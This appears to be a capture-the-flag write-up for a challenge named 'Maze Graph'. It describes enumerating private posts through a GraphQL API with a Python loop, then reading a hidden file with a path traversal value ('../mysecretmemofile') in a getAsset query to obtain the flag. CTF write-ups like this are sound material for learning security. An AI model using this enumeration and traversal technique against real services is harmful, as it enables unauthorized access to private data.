Maze Graph WRITEUP

When visiting the website http://gamebox1.reply.it/0b7d3eb5b7973d27ec3adaffd887d0e2/ we noticed a description referring to APIs. Since the title of the challenge referred to graphs, we assumed they were graphql APIs, in fact browsing to */graphql*, an IDE was loaded to run the queries. On the right menu there was a documentation of the functions that could be used, including *allPublicPost*, *post*, *allUsers*, *getAsset*.

Using the *allPublicPost* function we realized that each post had a true or false flag on the public attribute, so most likely we had to search for private posts. We used the *post* function to listeach post by its id, and for each of those we extracted the content.

```
query {
  post(id: 1) {
    id
    author {
      id
    }
    content
  }
}
```

Then we extracted the JSON response and parsed it with a Python script to filter out all posts that didn't contain the word "useles".

```
import requests
import json

for i in range(1,1000):
    data = requests.get("http://gamebox1.reply.it/
    a37881ac48f4f21d0fb67607d6066ef7/graphql?query=
    query%20%7B%0A%20%20post(id%3A%20%22+str(i)+%22)
    %20%7B%0A%20%20%20%20id%0A%20%20%20%20author%20
    %7B%0A%20%20%20%20%20%20id%0A%20%20%20%20%7D%0A
    %20%20%20%20content%0A%20%20%7D%0A%7D")
    x = json.loads(data.text)
    content = x['data']['post']['content']
```

```
    if 'useles' not in content:
      print(content)
```

After filtering out the posts we got the name of the asset to insert in the *getAsset*. query.

```
query {
  getAsset(name: "../mysecretmemofile")
}
```

And then we got the flag: *{FLG:st4rt0ffwith4b4ng!}*